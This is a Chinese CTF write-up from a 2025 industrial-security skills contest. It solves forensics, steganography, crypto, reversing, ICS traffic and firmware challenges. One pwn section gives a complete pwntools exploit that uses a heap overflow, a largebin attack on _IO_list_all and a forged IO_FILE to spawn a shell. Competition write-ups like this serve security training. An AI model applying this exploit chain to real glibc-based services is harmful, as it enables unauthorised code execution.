2025年第九届工业信息安全技能大赛典型工业场景锦标赛CTF wp

抓内鬼啦 ✅

从中可以导出一张宽高错误的 PNG 还有一个压缩包

压缩包直接解压可以得到第二段的 flag:Great_G0t_it!}

Polis{W0w_Th1s_1s_f1agO1_

Babyre ✅

直接看 main 函数逻辑

每 4 个字节一组,对输入做 encrypt,跟 secret[] 比较

因为 ROR 的逆是 ROL,所以直接用 12 位循环移位恢复即可

secret = [
    0x8301F735, 0xEA586A9E, 0xFF89A3A9, 0x41C7EB25,
    0x72001600, 0xB819FF5D, 0xCAFA972C, 0x0
]

key = [0x12345678, 0x9ABCDEF0, 0x0FEDCBA9, 0x87654321]

def rol(x, r):
    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF

def ror(x, r):
    return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF

flag = b""
for i, y in enumerate(secret):
    k = key[i % 4]
    block = rol(y ^ rol(k, 12), 12)   # 解密公式
    flag += block.to_bytes(4, "little")

print(flag)

b'flag{R3v3r53_15_v3ry_good!}

异常的数据流量包 ✅

流量中找到

下载来个 txt 是莫斯

流量里面还通过modbus协议传了一个pdf文件 提出来 使用上面莫斯解出来的密码可以解锁pdf 复制全部内容出来 发现flag

图片的奥秘 ✅

给了压缩包 先爆破密码

解压之后

末尾还有

扫一下

但其实后面还有九张图

拼一下图

fdvbpy4zl9klge9fb7n8caa0vz7g1600e557e2adb0b5eICphorM5FEDVW3LyOisUdX4kv9JtSmP01QxRBl6THjgAcnfYubGZqwKz7asnow

工控宣传的隐秘信号 ✅

先是一个音频倒放 在线网站操作一下 得到压缩包密码

s0803y0518

解压得到 gif 分帧 找到二维码

把他左下角这个定位码截出来 填上右上角 扫一下 解码

why_not_substitution✅

  • 明文字符集大小 n=41(”!@#¥%” + a-z + 0-9),在 GF(41) 上做按位替换:每个字符的索引 i 被同一个多项式 f(i) 映射到密文字符索引。
  • 已知 flag[0:7] = flkejiy,且密文前 7 位对应同位置。用这 7 对 (x_i, y_i) 做拉格朗日插值,恢复出次数 ≤6 的多项式 f(确实得到一个 7 次以下多项式)。
  • 由于 f 不是置换多项式(有碰撞),直接求逆会多对一,无法唯一解密;于是对每一位枚举所有可行前像,结合已知前缀约束做有界回溯,在约 353 万个组合里穷举验证 SHA-256,命中即为 flag。
# Brute-force search over candidate preimages constrained by enc and known prefix.
# We will enumerate all possibilities and check SHA-256.
import hashlib

CHARSET = "!@#¥%" + ascii_lowercase + digits

target_hash = "7d41757168a2199b32cb1744de130fdebda25271116bc64eccf4e397770d73c2"

cand_lists = []
for j, c in enumerate(enc):
    y = idx(c)
    cands = preimages[y][:]
    if j < len(known_prefix):
        forced = idx(known_prefix[j])
        cands = [forced] if forced in cands else []
    cand_lists.append(cands)

# Quick impossibility check
if any(len(c)==0 for c in cand_lists):
    raise RuntimeError("No solution because a position has no candidates consistent with the known prefix.")

# Depth-first search
best = None
count = 0
solution = None

# We'll implement an explicit stack to avoid recursion overhead
stack = [(0, [])]  # (position, chosen_indices_so_far)

while stack:
    pos, chosen = stack.pop()
    if pos == len(cand_lists):
        # Check hash
        plaintext = "".join(CHARSET[i] for i in chosen)
        h = hashlib.sha256(plaintext.encode("utf-8")).hexdigest()
        count += 1
        if h == target_hash:
            solution = plaintext
            break
        continue
    # push next states; to be efficient, iterate candidates directly
    for i in cand_lists[pos]:
        stack.append((pos+1, chosen + [i]))

print("Tried candidates:", count)
print("Found solution:", solution)

工业控制协议流量分析 1✅

利用 tshark 提取数据

tshark -r 工业控制协议流量分析1.pcap -T fields -Y 'tcp' -e frame.number -e tpkt.continuation_data -e tcp.segment_data

发现长度异常数据,其中含有 flag 拼接

工业控制协议流量分析 2✅

利用该命令提取出数据信息

tshark -r 工业控制协议流量分析2.pcap -T fields -Y 'tcp' -e frame.number -e tpkt.continuation_data -e tcp.segment_data

发现异常数据

213 行得到密码

216 行之后的异常数据提取倒数第二个字节,得到压缩包

用上面的密码解压 MMS12345 得到flag

image-20250912192337297

工业控制协议流量分析 3✅

flag{ruEf6OmqhAlXIYxmnR1XLC6R1]}

工业日志分析 ✅

这两部分直接解码 flag{4e54fa7c-c530-4c5c-985e-2e15871ddf04}

pwn-网关劫持✅

打开 ida 看一眼发现是堆题,去查看 libc 版本

查看 libc 版本为

这里分析 add 功能,发现在输入 size 过程中,存在溢出,可以输入一个负数,让读入的 size 变大

Edit 功能延用的 size 也会受到影响造成堆溢出,于是就可以构造 largebin_attack 打 io_list_all

最后写入链子,构造一个 read 读入一个 system 链子构成 system(“/bin/sh”),最后 exit 触发拿到 shell

from pwn import *
from struct import pack
from LibcSearcher import *
def bug():
    gdb.attach(p)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r(a):
    return p.recv(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + libc.search(b"/bin/sh\x00").__next__()
def get_hook():
    return libc_base + libc.sym['__malloc_hook'], libc_base + libc.sym['__free_hook']
pr = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x: print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux', arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = remote('target_ip', target_port)
def choice(a):
    sla("choice: ",str(a))
def add(size,content):
    choice(1)
    sla(b'length: ',str(size))
    sa(b'data: ',content)
def detele(idx):
    choice(2)
    sla('index: ',str(idx))
def show(idx):
    choice(3)
    sla('index: ',str(idx))  
def edit(idx,con):
    choice(4)
    sla('index: ',str(idx))
    s(con)    
 
add(-0x18,b'A')
add(0x440-0x18,b'A')
add(-0x18,b'A')
add(0x430-0x18,b'A')
detele(2)
edit(1,b'A'*0xf+b'B')
show(1)
rl(b'B')
libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x21ace0
ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
system,bin_sh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
edit(1,b'A'*0x8+p64(0x451))
add(0x500,b'A')
detele(4)
edit(1,b'A'*8+p64(0x451)+p64(0)*3+p64(_IO_list_all-0x20))
add(0x500,b'A')
edit(1,b'A'*0x10)
show(1)
rl(b'A'*0x10)
heap_base=u64(p.recv(3).ljust(8, b'\x00'))
edit(1,b'A'*0x8+p64(0x451))
 
IO_FILE1 = p64(0)*3+p64(1)
IO_FILE1 = IO_FILE1.ljust(0x60,b'\x00')                          
IO_FILE1+= p64(0)+p64(heap_base+0x90)+p64(0)+p64(read)+p64(0x200)          
IO_FILE1 = IO_FILE1.ljust(0x90,b'\x00')+p64(heap_base+8)   
IO_FILE1+= p64(heap_base+0x88) + p64(rdi+1)                   
IO_FILE1 = IO_FILE1.ljust(0xb0,b'\x00')
IO_FILE1 = IO_FILE1.ljust(0xc8,b'\x00')+p64(_IO_wfile_jumps)
IO_FILE1+= p64(setcontext+61)                              
IO_FILE1+= p64(heap_base+0x78)                           
'''
pay =b'/flag\x00\x00\x00'+p64(rdi) + p64(chunk3+0xf0)+p64(rsi)+p64(0)+p64(open)
pay+=p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x200)+p64(rdx)+p64(0x50)*5+p64(read)
pay+=p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x200)+p64(write)
'''
edit(3,p64(0)+p64(0x451)+IO_FILE1)
choice(5)
pay=p64(rdi)+p64(bin_sh)+p64(system)
sl(pay)
inter()

固件分析 1✅

题目附件给了一个 img 文件,直接 DIskGenius 打开

可以得到 sh、motd、hidden.7z 这几个文件

motd 中可以得到 flag1:

OpenPLC Boot

ZmxhZ3thNjMwMG

7z 里有个 flag2 但是是加密的,从 sh 中可以得到解压密码 Secret_PLC2025

flag2.txt 中内容如下:

E4MC01MGE4LTRm

然后尝试直接 strings 这个 img,可以得到另外两段

最后尝试组合一下即可得到最后的 flag:flag{a6300a80-50a8-4f3f-b339-3ac9c76ae902}

设计图之秘 ✅

直接 stegseek 爆破

提出来的就是 flag

音频隐写 ✅

根据频率匹配写脚本,匹配出来的字符串就是 flag

import sys
import numpy as np
from scipy.io import wavfile

# 频率与字符的对照表
FREQ_MAP = {
    'a': 440, 'b': 466, 'c': 494, 'd': 523, 'e': 554,
    'f': 587, 'g': 622, 'h': 659, 'i': 698, 'j': 740,
    'k': 784, 'l': 830, 'm': 880, 'n': 932, 'o': 988,
    'p': 1047, 'q': 1109, 'r': 1175, 's': 1245, 't': 1319,
    'u': 1397, 'v': 1480, 'w': 1568, 'x': 1661, 'y': 1760, 'z': 1865,
    '1': 1000, '2': 2000, '3': 3000, '4': 4000, '5': 5000,
    '6': 6000, '7': 7000, '8': 8000, '9': 9000, '0': 10000,
    'A': 445, 'B': 471, 'C': 499, 'D': 528, 'E': 559,
    'F': 592, 'G': 627, 'H': 664, 'I': 703, 'J': 745,
    'K': 789, 'L': 835, 'M': 885, 'N': 937, 'O': 993,
    'P': 1052, 'Q': 1114, 'R': 1180, 'S': 1250, 'T': 1324,
    'U': 1402, 'V': 1485, 'W': 1573, 'X': 1666, 'Y': 1765, 'Z': 1870,
}

def find_closest_char(target_freq):
    """
    在对照表中查找最接近给定频率的字符。
    """
    if not FREQ_MAP or target_freq < 100: # 忽略低频噪声
        return None
    
    closest_char = min(FREQ_MAP.keys(), key=lambda char: abs(FREQ_MAP[char] - target_freq))
    
    # 如果最接近的频率差也很大,可能是一个无效音调,可以忽略
    if abs(FREQ_MAP[closest_char] - target_freq) > 30: # 阈值可以调整
        return None

    return closest_char

def analyze_wav_sequentially(file_path, chunk_duration_ms=100):
    """
    按时间顺序分析 WAV 文件,解码出一系列字符。
    """
    try:
        sample_rate, data = wavfile.read(file_path)
    except FileNotFoundError:
        print(f"错误: 文件 '{file_path}' 未找到。")
        return None
    except Exception as e:
        print(f"读取或处理文件时出错: {e}")
        return None

    if data.ndim > 1:
        data = data[:, 0]

    # 计算每个块的大小(样本数)
    chunk_size = int(sample_rate * chunk_duration_ms / 1000)
    if chunk_size == 0:
        print("错误: chunk_duration_ms 太小,无法创建有效的分析块。")
        return ""
        
    num_chunks = len(data) // chunk_size
    
    decoded_chars = []
    last_char = None
    
    print(f"开始顺序分析 '{file_path}'...")
    print(f"采样率: {sample_rate} Hz, 块时长: {chunk_duration_ms} ms, 总块数: {num_chunks}")
    print("-" * 30)

    for i in range(num_chunks):
        start = i * chunk_size
        end = start + chunk_size
        chunk = data[start:end]
        
        # 对当前块进行 FFT 分析
        fft_spectrum = np.fft.rfft(chunk)
        fft_freq = np.fft.rfftfreq(len(chunk), 1.0 / sample_rate)
        
        # 找到主频率
        if len(fft_spectrum) > 1:
            peak_index = np.argmax(np.abs(fft_spectrum[1:])) + 1
            dominant_frequency = fft_freq[peak_index]
            
            # 查找对应的字符
            char = find_closest_char(dominant_frequency)
            
            # 为了避免一个长音被重复记录,只有当字符变化时才记录
            if char and char != last_char:
                decoded_chars.append(char)
                last_char = char
    
    final_message = "".join(decoded_chars)
    
    print("分析完成。")
    print(f"解码出的字符序列: {final_message}")
    
    return final_message

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("使用方法: python analyze_wav_sequentially.py <your_wav_file.wav>")
        sys.exit(1)
        
    wav_file = sys.argv[1]
    analyze_wav_sequentially(wav_file, chunk_duration_ms=100)

开局一张图 ✅

直接 lsb 隐写

所见即是开始 ✅

先是对盲文

是 hanoi floor is 9 就是哈诺塔是 9 层的意思 用这个当密码解开压缩包

这里也没玩过这个 就直接调 ai

# 生成 9 盘汉诺塔从 A → C(B 为辅助)的完整移动序列
# 输出格式:盘号+当前柱+去往柱,例如:1AC

def hanoi(n: int, src: str, aux: str, dst: str, moves: list[str]) -> None:
    if n == 0:
        return
    hanoi(n - 1, src, dst, aux, moves)
    moves.append(f"{n}{src}{dst}")
    hanoi(n - 1, aux, src, dst, moves)

def main():
    moves: list[str] = []
    hanoi(9, "A", "B", "C", moves)

    # 每行一个
    with open("hanoi_moves.txt", "w", encoding="utf-8") as f:
        for m in moves:
            f.write(m + "\n")

    # 全部拼接成一行
    with open("hanoi_moves_joined.txt", "w", encoding="utf-8") as f:
        f.write("".join(moves))

    print(f"共 {len(moves)} 步,已生成 hanoi_moves.txt 与 hanoi_moves_joined.txt")

if __name__ == "__main__":
    main()

最后得到结果

1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB7AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC8AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB6CA1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA7CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB9AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC7BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB6CA1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA8BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB7AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC

很长一段 直接交就是 flag